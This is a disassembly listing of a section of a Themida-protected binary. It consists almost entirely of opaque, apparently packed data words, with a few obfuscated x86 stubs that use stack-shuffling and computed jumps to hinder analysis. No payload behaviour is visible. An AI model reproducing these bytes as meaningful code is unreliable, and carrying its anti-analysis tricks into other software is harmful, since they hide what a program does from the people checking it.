		dd 0D1F5D0h, 0A78E0000h, 2AC9645Bh, 5E9BE6DFh, 0D956D532h
		dd 0E7E2171Ch, 1DF4317Ch, 9B3AD5ECh, 1DBC576Eh,	388F81ECh
		dd 6C07529Dh, 0C16F3CCDh, 4E452104h, 0A6E56CB7h, 40774EBFh
		dd 0E26606C3h, 0DE1B66E7h, 0E26A7171h, 0DA455E7h, 0AB12EFD6h
		dd 0F038AF6Eh, 0DD0784BBh, 19EF76B7h, 88E9DC32h, 0EE91F267h
		dd 92E32029h, 7B671047h, 0AD0BB701h, 0EAD1407Dh, 781FA61Fh
		dd 9C25E08Dh, 1DA86201h, 0A1EC3782h, 1D134263h,	78BB8627h
		dd 0E1Ch, 5BE2DB2Ch, 0E66D44B4h, 75FCC33Fh, 0FE8538CEh
		dd 8C13AA57h, 0A461E1F2h, 1CEF961Dh, 817B22A9h,	0F108AF36h
		dd 930239C0h, 0E1DE5916h, 4C80B9EFh, 0F229906Dh, 0A2295649h
		dd 81BE6440h, 0D3E21BC2h, 7047B59Ch, 0D5787433h, 603E042Ch
		dd 0DB18C626h, 21BCF504h, 0B33A8B82h, 0DDAEFD0Ch, 0DEBE3BEDh
		dd 6DC40B1Ah, 4C97D2A5h, 27E3CA01h, 99B45F8Ah, 327D9233h
		dd 6BB322F5h, 9980FF36h, 6CB75261h, 0F22CC22Fh,	3FDEEF7Ch
		dd 0CE99FACDh, 0B212ABEh, 9CDB62ADh, 0D26D44B5h, 0A110E887h
		dd 749E964h, 6DC50000h,	598E2990h, 0E7E216A0h, 35D15AA2h
		dd 630C438Eh, 0E98441A4h, 6DDC19B0h, 79F7D2F0h,	0F22974EFh
		dd 9C6FF20Bh, 0F18C23D5h, 89105BA6h, 0FF9A2BE2h, 0DE1CA560h
		dd 271F30C9h, 39E92CF7h, 0F00000Dh, 973EC5F8h, 22C95067h
		dd 0B158DFE6h, 3AE1685Fh, 0D56FF6CFh, 0B944CEh,	8C39D279h
		dd 19AC5E05h, 0A312EB92h, 0F976E51Ch, 0EFE1DF3Ch, 6D2F639Ch
		dd 3C03D90h
		dd 45E7E217h, 0E2170BC8h, 7206BE7h, 43EA71BCh, 0C160FBCAh
		dd 3E9B6348h, 0F0911E5Fh, 9F6B0AA5h, 1EEE8D28h,	647F0CA7h
		dd 0AC74499h, 6AE7E306h, 7BD6D41Fh, 9D14E5B0h, 3A8D7F66h
		dd 0EC1F3E9Fh, 2593EBD9h, 9FDE9DDAh, 367342B8h,	506E78CBh
		dd 1459D7h, 0D5350000h,	10AB12EEh, 0D1B88C5h, 7DE7E212h
		dd 0FFFD763Ah, 1ED716FFh, 20E7E217h, 0EF6CA3D8h, 0EF79C5C9h
		dd 942DDC7Bh, 0D22B1249h, 0EBCB0FCDh, 0A8EC350Ch, 7E298491h
		dd 3CC30E59h, 0B24D6495h, 837BF613h, 34E9934h, 1FBF28C5h
		dd 0C609D427h, 0C5Ch, 1BA21BECh, 0A62D8474h, 35BC03FFh
		dd 0BE45788Eh, 4CD3EA17h, 0E421A1B2h, 5CAF56DDh, 0C13BE269h
		dd 31C86FF6h, 53C2F980h, 0E1E019D6h, 0C4079EFh,	66E02CD5h
		dd 0C523353Ch, 1558B188h, 0E631CCE3h, 0A861009Bh, 0E663E219h
		dd 0E7E2C429h, 0A61FEA89h, 3875C00Bh, 7E37C665h, 12B744E3h
		dd 0E2C3D895h, 0A2ED38E7h, 95607B07h, 38B72624h, 6F0AB951h
		dd 0C432EF24h, 4792E7E2h, 21E4AF0Ah, 1752D9E8h,	0D750902Ch
		dd 0A8B06AFh, 0AAF458E5h, 0DF46Dh, 0D7D00000h, 0E7E211C9h
		dd 0FC99F639h, 9DD2FFFFh, 2E9205Dh, 0D924BF06h,	8AB02D9Ch
		dd 3CEF7C48h, 5005A8DBh, 7CC70C57h, 0E4F2ACE1h,	1681EFDCh
		dd 0F00BF24Bh, 0A2DF2AC5h, 0AAF70C37h, 1A7C5D0h, 0D7A10000h
		dd 0E7E2170Eh, 81781F74h, 0B02A930h, 49EA1FBAh,	0ADE7E217h
		dd 0E956FF7Eh, 4B320761h, 0A1621F54h, 77C2E7E2h, 0B914DF3Ah
		dd 528F36D2h, 29DF827Bh, 2D144B96h, 0B54BEAD1h,	0DF1C6702h
		dd 0FFAE120h, 8DD279B6h, 0E31AB954h, 55A44BD2h,	38CC15Ch
		dd 0D0E7E2A1h, 24916A51h, 0A6013E89h, 0B3BD86DBh, 3E14D750h
		dd 0F0000001h, 8A259C6Dh, 6CA312EBh, 0AA9B4EC3h, 0E21F28AFh
		dd 2F6CAC23h, 7F757BF8h, 9CE7EF7Ch, 2BE3CA01h, 0A662019Ch
		dd 2A97D41Fh, 0EFDC8F71h, 69C893FEh, 0D0AA41DAh, 3DF7h
		dd 5D9DD300h, 0ED8831CCh, 0A32057A2h, 0EF7C1F71h, 0BEF590DBh
		dd 0C83E25D7h, 0AE0FAAF5h, 2DB3C955h, 0F758A32Eh, 706E6482h
		dd 3CA9E6A0h, 0EFDC6D83h, 87DAA510h, 0D0AA6BBCh, 0BA15h
		dd 9C6DF100h, 1EEB8A25h, 9C6D0CA7h, 1D45EE25h, 0DC79D9E6h
		dd 348D4AC7h, 0A2EDE7E2h, 744DB857h, 34C56437h,	51B9F67Dh
		dd 8DE7E23Ch, 0FE0B56A6h, 96E12CC7h, 3A8B8259h,	0BFFC3CB3h
		dd 99E10B88h, 0F03BEF76h, 8E37D2B9h, 1CA56007h,	1DD525DEh
		dd 0D518E327h, 0A54h, 23AA03F4h, 0AE358C7Ch, 3DC4FB07h
		dd 0C64D6096h, 54DBE21Fh, 0DC29A9BAh, 44B75EE5h, 0C943EA71h
		dd 39D077FEh, 5BCA0188h, 0E1E221DEh, 144881EFh,	1CD956D5h
		dd 7CE7E217h, 0FF9A21DDh, 1D0869B4h, 121F57C3h,	0FDD411h
		dd 0CF332B9h, 0E12CC7FEh, 313CCDA4h, 679EE9D8h,	0AAAE6BE8h
		dd 0C30EE7E2h, 6DCBC786h, 0EB8A259Ch, 0D11CA312h, 3B3h
		dd 23FCF8ADh, 0F26FA6DBh, 0EF79C5DFh, 0AC13448Fh, 0E37E35C5h
		dd 74B45B98h, 0E6328221h, 24DE9F9h, 2204ECBh, 0E382F77Ch
		dd 0B8539E29h, 566F9A81h, 3AD170BBh, 68A5F08Bh,	0DC1442FBh
		dd 9964CFF7h, 0A9C4FB48h, 32FD6D8h, 0D5B20000h,	3AB1AD56h
		dd 0BB76490Dh, 0E29DC986h, 3FDE29E7h, 115CF7CEh, 9DAE67D4h
		dd 26EAE7E2h, 7AE7E29Eh, 3FB7693h, 83CE69B4h, 225F9F46h
		dd 76856CEBh, 6F95023Fh, 21EF7CA0h, 4AE198D6h, 0C893271Ah
		dd 95385h, 0AB02F500h, 368D7D24h, 0C5FC08AFh, 4E61973Eh
		dd 0DCE520C7h, 2AA8BB55h, 0B85FE6DFh, 44EB7243h, 0D178FFB6h
		dd 0CB028938h, 0E322DF5Ch, 4982EFE1h, 259C6D15h, 9E6C538Ah
		dd 0FB43EA27h, 56A88FC6h, 3C79C45Fh, 2BA54ECDh,	7A4387BCh
		dd 611B88C5h, 0BBEF7A48h, 2A72E970h, 25D7BEF5h,	6FACF792h
		dd 6E9A8100h, 885BC57h,	0EFE25A4Bh, 0D81560ABh,	7A06AD6Bh
		dd 9E700FF7h, 0E22B8611h, 125D1CE1h, 52A990C7h,	0BE9FDC63h
		dd 10F7E277h, 620990CDh, 0E2811CA9h, 90FF9A2Bh,	5FDC1348h
		dd 0FF7C769Dh, 0B17EBC07h, 6F371AB2h, 8A661A4h,	6DA20000h
		dd 0D22AD158h, 49B55CE3h, 0B244EB72h, 30CD74FBh, 7B680289h
		dd 0C932AD7h, 981F9665h, 25AC1BF1h, 0AF368F7Eh,	0CF8C0978h
		dd 2FEFE1E3h, 5D9DC2F6h, 0EB863FCCh, 0A11E55A0h, 0EF79C3E3h
		dd 6E2BA827h, 0CEEFE1D6h, 9EE9DC2Fh, 8EC51061h,	0D5D5920Fh
		dd 0EA35EFE1h, 0A4573EADh, 28E38A11h, 4B93029Dh, 0E160DF16h
		dd 0E1D5A764h, 7FBC07EFh, 79835812h, 0CC67B2F7h, 6CC0EC95h
		dd 0F3FE831Ch, 92CF0FB6h, 39E0DE5Bh, 0F742FF7Ch, 1AE5F4B9h
		dd 92D5A037h, 810h, 67EEC738h, 0F27948C0h, 8108BF4Bh, 0A9124DAh
		dd 981FA663h, 906D15FEh, 0FBA229h, 75872EB5h, 0E514BB42h
		dd 9F0E45CCh, 0E1E46522h, 588CC5EFh, 0EE259C6Dh, 83C0F707h
		dd 0C9F811B0h, 0AD5302Eh, 7C03B24Bh, 5039F241h,	1CF2D9D7h
		dd 86C30EA9h, 1500Dh, 5D9DE900h, 7E6CE920h, 0C2EF7C17h
		dd 0B38021DBh, 69CB5E1h, 3586C30Eh, 44F6696h, 0DF7B3469h
		dd 9D08EFDCh, 0F1B47FD2h, 220DD0AAh, 0E9000001h, 8A259C6Dh
		dd 0D0E8AA53h, 82F28850h, 269F6E45h, 0ABE0289Fh, 24F1F774h
		dd 1863EF7Dh, 358F487Dh, 0B11CEFDDh, 27B88BE6h,	3119D0ABh
		dd 0F5000000h, 0A71EEED5h, 0DD84C10Ch, 0AA29609Dh, 0E217702Dh
		dd 4885D0E7h, 1F2A5CD9h, 4994EF7Ch, 2EC079AEh, 0E24DEFDCh
		dd 2589BA17h, 0A648D0AAh, 24000000h, 0EE259C6Dh, 1057E445h
		dd 0BAF72C87h, 4BD48E7h, 52CF4ECDh, 0E7E2E895h,	0B875AAF5h
		dd 0FAE7E2E8h, 0E2E8C07Dh, 0BCD520E7h, 0C2613471h, 0DDD0264Bh
		dd 0A158F792h, 7C4C8910h, 8E7E2F5h, 0A1DEE521h,	0FB8233CAh
		dd 0D0074484h, 77542953h, 13883EFh, 4FD6EF1Ah, 26645DA8h
		dd 271D0F75h, 0C9F53803h, 7F000006h, 7AE3588h, 9239C0F7h
		dd 21C84F76h, 0AA51D8EFh, 45DF665Fh, 7049B45Eh,	0FCC942E9h
		dd 893CCE75h, 13A25B02h, 69E6558Ch, 0EFE1E5ACh,	6D9FD30Ch
		dd 49F22990h, 9A5BAC9Fh, 985794EFh, 22A918F1h, 13EED526h
		dd 8F436594h, 0B702E18Ch, 0BD94D11Ch, 3BDA754Ch, 216CF3C2h
		dd 3Bh,	2ABBF8FDh, 0CD46A981h, 94D1A15Fh, 3970ADEDh, 9037D3BAh
		dd 0F6D2E653h, 3984EF79h, 4DF6C408h, 1C99D00Dh,	0F779B463h
		dd 0CC3F70BBh, 5Dh, 0AC69E665h,	0CF7E1C5h, 9D5884C1h, 873ECC5Dh
		dd 49F16E8h, 0BA376EB9h, 0EF7C395Ch, 0E118B3FEh, 76B302FAh
		dd 7397F509h, 390427DFh, 0F82F6CACh, 69BB894Fh,	3E9F6EADh
		dd 0CD0659EAh, 950441A6h, 7660BA18h, 0A1573EF7h, 3580D10Eh
		dd 0D3EA17FEh, 0B198D796h, 0B6316E55h, 0AEh, 205D9D92h
		dd 0C5566CE9h, 0BD08EF79h, 60BC65CCh, 5A7D7C1Dh, 0AA13EE8Dh
		dd 1953216Dh, 9DA6FBC6h, 34D0AFA6h, 7Ah, 205D9D10h, 30ED6AE9h
		dd 90E7E217h, 1C990845h, 0EF79C609h, 0D6EF1AB9h, 88569A8Bh
		dd 900E74Eh, 55207BB8h,	0AF8237FCh, 4C8AD0h, 9D660000h
		dd 6CE9205Dh, 0EF79C558h, 0A188BF0Ah, 32EF6C6Fh, 92EFE1D6h
		dd 48C5FC47h, 0EFE1D68Bh, 3A63A0EBh, 28832AD3h,	0C1414FF5h
		dd 916A3884h, 13B24D74h, 902FCAFDh, 65B04B7Ah, 6BDEA9CCh
		dd 0F44D186Bh, 0D0AF524Fh, 0D82h, 0E9D75E00h, 19E7E220h
		dd 0FFFF02D6h, 5D9DB2FFh, 826CE920h, 0DCEF79C5h, 4787F691h
		dd 0D754D30Ah, 0EFE1D51Ah, 83F22F7Ah, 79824D06h, 235AA5F7h
		dd 0D1C6677Ah, 0EE2BDDF1h, 2F6CAC1Bh
		dd 0E28D7BF8h, 50EFFF78h, 88BF0ABBh, 0D35A69A1h, 0A8DF1C5Ch
		dd 0F1EFAC29h, 44FFFE0h, 1DDB58C7h, 6107789Fh, 9A35807Ah
		dd 76C1124Fh, 13A2583Fh, 4A814F8Ch, 6C9D8FBFh, 5D2FEC69h
		dd 0F309A007h, 0C5DE29C4h, 4108197Ah, 4922D96Ch, 39D077FEh
		dd 3E7EED88h, 0CC4BCA01h, 7D2924Fh, 0B653F2A0h,	1A87C40Fh
		dd 0A7A1EA2Ch, 9A8438Eh, 2B9A70F3h, 50A645E0h, 1B36C25Dh
		dd 617CD950h, 873ECF96h, 14A35900h, 9322DA79h, 0BE3D6CF8h
		dd 1FC8441h, 5C99E4A8h,	9D6F3601h, 0EFCA32Ah, 0FEE51CB7h
		dd 8120BB02h, 0B3F03B8Ah, 94F70B67h, 0C7FE0CC9h, 2CD54440h
		dd 6B66EC0Ah, 0F79EDB50h, 984178B1h, 0B1C1EB57h, 3B0E4B6Dh
		dd 0B9546D9Ch, 0AF46112Ch, 12F93069h, 0CD8CC9FCh, 0EDDED726h
		dd 5AB5DCA9h, 7E37C68Fh, 1AAB6047h, 6895347Fh, 2E6BB651h
		dd 0AF06F6C5h, 8A22DF14h, 233EE7E2h, 3F4CF558h,	0F314D9F6h
		dd 3F4DCF00h, 11B73DDEh, 0B60DFDD4h, 0C683007Fh, 26E7E24Dh
		dd 0A0DF9EDBh, 0D57047B9h, 4E64219Eh, 79C4E7E2h, 4BEBCD2Eh
		dd 0A5E46307h, 4C7B9168h, 0B7346C15h, 0F451BA10h, 0F5AFE4B7h
		dd 32E7E2B8h, 0C339FCC7h, 852E6DF4h, 30CC5E0h, 0C936737Ch
		dd 0E7E2B447h, 0B4591693h, 6EB9E7E2h, 0F505EC23h, 9BD823BEh
		dd 50A40C30h, 0FF40BDD7h, 6D99FFFFh, 0F79E259Ch, 844B9906h
		dd 0A17641AFh, 71D28678h, 6FBA2A40h, 8BF5138h, 3AD3A2CBh
		dd 35CB9A8Bh, 0B048E782h, 26A4D2EBh, 438EDD38h,	0C0F709A8h
		dd 324DDA25h, 0ECE6DC67h, 29B8D542h, 582346DEh,	14457C8Dh
		dd 507882B1h, 483FD7h, 9D1B0000h, 6CE9205Dh, 0EF79C3B3h
		dd 68CFC00Bh, 0D6581ABFh, 0CA078107h, 0A8DFB17Eh, 3F7C4BC1h
		dd 45C419E4h, 801BA25Eh, 0E4430035h, 955BEFE1h,	407C8581h
		dd 0ED2A758Eh, 92C90646h, 79395C15h, 3869B4F7h,	4CC5h
		dd 5D9DA100h, 0EE8930CCh, 0A42158A3h, 0EF79C3EBh, 0C307F843h
		dd 80E11AF3h, 56F13C85h, 0D8734AB7h, 45B47FDAh,	3BCA95C0h
		dd 0A87BEF3h, 0F7798351h, 5F56A48Bh, 0EB3C79C4h, 89086FA0h
		dd 0E1954F0Ch, 2D64AFF7h, 0E194F3B0h, 0CB0853F7h, 259C6D9Fh
		dd 0A312EB8Ah, 2865A51Ch, 316E74F1h, 95E0EF7Ch,	410CC5FAh
		dd 2E99EFDCh, 0EB230A63h, 0F349FDCh, 0C2D0AA13h, 20h, 205D9D9Eh
		dd 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh, 0F25DEFDCh,	2579CA27h
		dd 1358D0AAh, 34000001h, 0EE259C6Dh, 84C1F407h,	78937AB1h
		dd 0EE51B24Dh, 0B2BF0AB9h, 0E62384CFh, 0A3D4427Ch, 0EB16ED2Ah
		dd 619837D2h, 0FF7EB550h, 0BB460380h, 5BA6E7E2h, 0E2BB6926h
		dd 1592C9E7h, 0E7E2BB58h, 0E5226DB8h, 9A72FF0Eh, 0FA45902Bh
		dd 0C0363673h, 382E7E2h, 0E2BFC986h, 0A1DE29E7h, 0FB8233CAh
		dd 710CA554h, 4E85BA02h, 7CD397D1h, 11BAF1EFh, 0E2BEC35Ah
		dd 22DF14E6h, 82EFDC2Fh, 0CEB5EC37h, 9FEA8538h,	0EC2CA362h
		dd 7CF978AFh, 0EFDC2EBFh, 209DD41Fh, 0EFDC2F63h, 0CC3B78C3h
		dd 70920F4Fh, 0F72E79F7h, 123EFB78h, 539EF7D9h,	45C0A716h
		dd 0A25E457Ch, 0F835801Bh, 2851FA39h, 467F8E10h, 8B61B9E5h
		dd 338A774Eh, 16AD5CF5h, 0BAFDC82Fh, 194h, 0E36A43B4h
		dd 6EF5CC3Ch, 0FD843BC7h, 860DA056h, 149B22DFh,	1CE9697Ah
		dd 84771EA5h, 903AA31h,	799037BEh, 1B8AC148h, 0E1EAE19Eh
		dd 0D40841EFh, 0A229906Dh, 2CB302FBh, 9E0C44EDh, 0C6FB44E8h
		dd 5D9D5D89h, 3A6CE920h, 0A4EF7C1Fh, 288DC043h,	12B75A7Dh
		dd 63DB7E93h, 0A07FE02Bh, 3FBDC056h, 3267024Dh,	0EFDCD679h
		dd 6C07BE4Bh, 0EB863DCDh, 0F5642F52h, 86DBA611h, 0D0AA82BDh
		dd 0CD14h, 3C04AD00h, 0F2DD3859h, 685DAE4Dh, 194582CDh
		dd 39D19C6Dh, 89083F8Ah, 0E2174F0Ch, 571491E7h,	0B7E7E217h
		dd 0FCF2536Ch, 63B85C28h, 2F023F8Ah, 0B14C7590h, 0E28D7C7Ch
		dd 18A960E7h, 0A213EA91h, 0A7B5C26Bh, 0BF834133h, 0F840AF82h
		dd 640D8CC3h, 7381DDB7h, 0E3508D44h, 0EF7C9FA9h, 9A81B803h
		dd 57165362h, 2C6398E0h, 70EECAAFh, 0F82F7AF7h,	64E1F411h
		dd 0F7D980A7h, 0EA71BC07h, 8138C4ABh, 29906D44h, 17AA44EBh
		dd 0A6E9B42Fh, 84h, 0F37A33C4h,	7E05BC4Ch, 0D942BD7h, 961D9066h
		dd 24AB12EFh, 0CF9998Ah, 74872EB5h, 0F913BA41h,	69A047CEh
		dd 2B9AD158h, 0E1EBF1AEh, 0E41851EFh, 0AA13EED5h, 526B966Dh
		dd 0DCD524CBh, 0EED55955h, 0C20DA81Dh, 665FAE85h, 0E4DD2CCBh
		dd 6E47B65Dh, 0F8C940E7h, 0CE3F265Dh, 0D64DBAF7h, 0BA2666AEh
		dd 0F811D49Fh, 0E22D8475h, 6C45B45Bh, 0E9DC32D1h, 0BD6F14Eh
		dd 7B02B34Ah, 0F18C25D4h, 3AEh,	0B6DA8A00h, 88239A6Dh
		dd 6A110E9h, 87229567h,	7A213E8h, 89249D68h, 0BA61FEAh
		dd 88239A6Ch, 0BA61DE9h, 8A259C6Ch, 0E18951FAh,	4C181h
		dd 0E9830000h, 74FF5104h, 8F590424h
; ---------------------------------------------------------------------------
		add	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	7FFC0D7h
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	3464h
		mov	[esp], esi
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		db 0E9h, 0A0h, 93h
		dd 559CBD83h, 0B97EE1A7h
		db 0B7h, 4Fh, 15h
; ---------------------------------------------------------------------------


loc_5E0AD3:				; CODE XREF: Themida_:loc_5DF47Dj
		mov	eax, 7FFD600h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 7DF06D8Bh, 79DCE61Ch, 431B5B8h, 8E786E7h, 7A4DBD33h
		dd 4427E416h, 1F018A3h,	586D6123h, 9F76AA8h, 631D9FAEh
		dd 9AFF477h, 2691FCC2h,	25840B34h, 1BB25D08h, 0A829ACBh
		dd 1FADE65Ch, 43984D80h, 7C832891h, 4E3B0E42h, 83ACF70h
		dd 7A928801h, 7DE1168Ah, 3BA5F364h, 44ADC722h, 282C8ED1h
		dd 23651915h, 38FB4911h, 6D969F53h, 12FD1745h, 795535DDh
		dd 0D80F8D8Dh, 6A07FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0CB1448C3h, 0A41F1EE8h, 3350C478h
		dd 0FA31A585h, 8D895F07h, 7FA1CD9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 62C35747h, 0E91A610Dh, 0Fh
		dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 0C7F72340h,	0FA31AD85h
		dd 750807h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 22EDEFCDh, 0C7DD0EC0h, 0FA2BD985h
		dd 7, 8E0F00h, 0FF000000h, 0FA16F1B5h, 7DBD2307h, 0E907FA0Eh
		dd 0Ch,	19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 179995FFh, 6A07FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 30190FC3h, 0B2D70B17h, 89089CFAh, 0FA0211B5h, 0FF006A07h
		dd 0FA101995h, 0EBC08B07h, 7565C40Bh, 7FD26EE2h, 0CFDBDF15h
		dd 0D9048D8Dh, 6A07FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B6899C3h, 0D98D89F2h, 6A07FA1Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F0EC352h, 0F681C6BFh, 6E5967EDh,	31AD85C7h
		dd 643407FAh, 13E90000h, 69000000h, 0C25789B0h,	0A439FC54h
		dd 0A352A0A2h, 0DD6E473Fh, 85C7A9C5h, 7FA2BD9h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5E0CE7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E0CE7	proc near		; CODE XREF: Themida_:005E0CDFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5E0CE7	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0EE8h, 0EB684700h, 88D5BCA9h, 15606CD5h, 5612825Ah
		dd 0CE9h, 7F6D2500h, 59ED8446h,	5D5DA15Fh, 665F5AE1h, 270DCE81h
		dd 167DB5FFh, 0F5607FAh, 80h, 95FF5A00h, 7FA1799h, 0B818D31h
		dd 6A07FAh, 101995FFh, 0C08B07FAh, 0F3E0EEBh, 4DCBD7FAh
		dd 203DB149h, 77EE0355h, 0D9B48D8Dh, 816607FFh,	89FCB4C0h
		dd 0FA1CD98Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0D5EFE5DFh, 85C725B6h
		dd 7FA31ADh, 6B38h, 2BD985C7h, 7FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 507B8DC3h
		dd 9F03BA66h, 6E95Eh, 0E7960000h, 6B748A71h, 2515B5FFh
		dd 950107FAh, 7FA29B5h,	8016BB66h, 179995FFh, 830F07FAh
		dd 6, 67D958Bh,	6A07FAh, 101995FFh, 0C08B07FAh,	7C8B08EBh
		dd 931AEDD7h, 0C08BDA3Dh, 0AE957h, 652A0000h, 4F930C5Bh
		dd 0D54F7791h, 0CDBD835Bh, 7FA2Ah, 0BD830975h, 7FA1899h
		dd 50197400h, 0B8C08B53h, 3FCh,	20C98589h, 9D8D07FAh, 7FCE224h
		dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h,	3FCh, 20C98589h
		dd 9D8D07FAh, 7FCDF13h,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 81C35747h, 0BA665AF6h, 8E0FAE40h
		dd 19h,	138F0Fh, 0DE80000h, 0D6000000h,	98B75CB0h, 0F5872D2Ch
		dd 5529ADDh, 8BC08B5Ah,	0EDBD83D0h, 107FA33h, 73840Fh
		dd 0BF0F0000h, 89EA81DFh, 8310DFFCh, 0FA18F9BDh, 850F0007h
		dd 5Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh
		dd 0EEC35343h, 5C3B8141h, 70144F50h, 35BD8363h,	7FA31h
		dd 9F840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E21DFFC3h, 0E97AC146h, 5, 0D8131D36h
		dd 3DFE930h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 15BF23C3h, 0D731629Fh, 0AF48h, 0AE90000h
		dd 0A2000000h, 39F9C137h, 0E7143FFh, 57006A7Ch,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0B9660666h
		dd 0AB5D4F0Fh, 7ABB3627h, 0E95EC1E6h, 9, 0FE5D886Dh, 1E5A79D3h
		dd 83436AD9h, 0FF10C6Dh, 661EABB6h, 45F6FCB6h, 0ECACBDECh
		dd 0E4F21BE2h, 7EF2BBF2h, 27F6CFB6h, 76D824E4h,	3723BD15h
		dd 0E07B2130h, 620B8154h, 8DA07EDCh, 65F63FB5h,	3B35C196h
		dd 61D2BB3Fh, 61D2A337h, 65F6F3AFh, 2335AFF0h, 51AD11A8h
		dd 4C757195h, 8DF63FB6h, 65F69FB8h, 96970FBh, 2A9ACDC4h
		dd 5C787546h, 6A1EFB40h, 4AF6FCB6h, 5D2E75FCh, 0E5BD94F7h
		dd 309BD440h, 3EAC9518h, 0B87C3749h, 65F25E5Fh,	0CA1578B6h
		dd 30FED52Bh, 65F67E5Eh, 887762B6h, 6209445Ah, 8DA3CFDCh
		dd 65F6E7B5h, 3835AE96h, 61D2953Fh, 61D2B837h, 65F67EAFh
		dd 0BF356AF3h, 1E5F605h, 0E14D9CA3h, 3FD6C98Ch,	8DA7F3DCh
		dd 65F6F9B5h, 3C35A596h, 61D2323Fh, 61D27B37h, 65F69FAFh
		dd 0C8359EF7h, 87838272h, 0AF7795D8h, 0A57D9EC3h, 65F6F25Fh
		dd 1860B9B6h, 0F81E9FAEh, 0EDDF1140h, 35CDAD4Fh, 65F6F65Fh
		dd 0D4D848B6h, 0C20DA522h, 9594D081h, 0A209E3A5h, 617F782Ah
		dd 37F6F592h, 65F6CC5Eh, 0A6ACC7B6h, 41A27AECh,	41B278B2h
		dd 65F6E4B2h, 0A6A43CB6h, 5961BB96h, 0F62D1FEEh, 41BACEB9h
		dd 607CE848h, 3F6F3B6h,	356B1237h, 994D9AEEh, 67FA7B20h
		dd 691E3FB6h, 16F69FB6h, 765A1249h, 3B17606Fh, 0DE0E6DFBh
		dd 6B1C1F2h, 6E5947ECh,	6D7D02A6h, 964130D6h, 87F8950Ch
		dd 8F77AEE7h, 78F83406h, 99BE78D0h, 0B4E41B37h,	644ED75Ch
		dd 3F67EB6h, 367E63Dh, 3527A80Dh, 0B88BA60Ch, 0B37676B3h
		dd 0BC7A9513h, 8DA3F9DCh, 65F6FCB5h, 38352396h,	61D2533Fh
		dd 61D2DB37h, 65F6CFAFh, 0F035B2F3h, 45336918h,	65E410FBh
		dd 748AFCB6h, 0A2167BE2h, 1AF95621h, 9AFDE03Eh,	7184D1D3h
		dd 65F6F65Fh, 0DB05C1B6h, 49B11484h, 44397964h,	7B00D355h
		dd 0A400CA6Bh, 0A97390B2h, 3F6CFB6h, 6AAF363Dh,	65F6F635h
		dd 0D05F42B6h, 5C76E5EAh, 4D7371DEh, 0EFF63FB7h, 607B904Bh
		dd 3F6CFB6h, 42020C37h,	0FF78A3Dh, 661EAFB6h, 45F6FCB6h
		dd 0ECA8BDE8h, 0E4F21BC2h, 73F2BBF2h, 23F6CFB6h, 0AEB724E0h
		dd 650972B1h, 6A76F9B6h, 65F61234h, 65FC97B6h, 32F33FB6h
		dd 8A8E8A98h, 0FAF31298h, 0BEFB6271h, 65F7F449h, 659CF9B6h
		dd 65F514E6h, 3DD67EB6h, 217F6775h, 21779B92h, 65E0CB92h
		dd 35B6E7B6h, 29410375h, 65F6F05Eh, 7999D1B6h, 0A2F4918Ah
		dd 396165Fh, 3F976E3Dh,	65F61F5Fh, 0B77781B6h, 0F11F9DE5h
		dd 0FF6F9B6h, 661EACB6h, 45F67EB6h, 0ECAEFCEEh,	0E4F2BBF2h
		dd 73F2EBF2h, 25F6E7B6h, 5C5230E6h, 3C0E730Ah, 0E690A7E7h
		dd 6A0975CFh, 65F65932h, 34F6F5B6h, 65F6CC5Eh, 0A6AFC7B6h
		dd 41BA7AEFh, 41B278B2h, 65F6E5B2h, 0A6A73FB6h,	0CF6085A2h
		dd 0E3F91311h, 65F6CFB3h, 0F0CDF00Dh, 6773FCDDh, 0D6F6F9B6h
		dd 68733B1Ah, 64F1816Dh, 0FF63FB6h, 661EC9B6h, 45F6CFB6h
		dd 0ECA824E8h, 0E4F2D7C2h, 7EF2DDF2h, 23F6FCB6h, 0E4DBDE0h
		dd 207FA1DAh, 0E490CB5Dh, 2D40715Dh, 8DA3E7DCh,	65F6F3B5h
		dd 3835A496h, 61D2903Fh, 61D23A37h, 65F63FAAh, 9D35CAF3h
		dd 756D550Ah, 0BD68CA5Bh, 370142D6h, 4A80A3Dh, 2B3C7DD0h
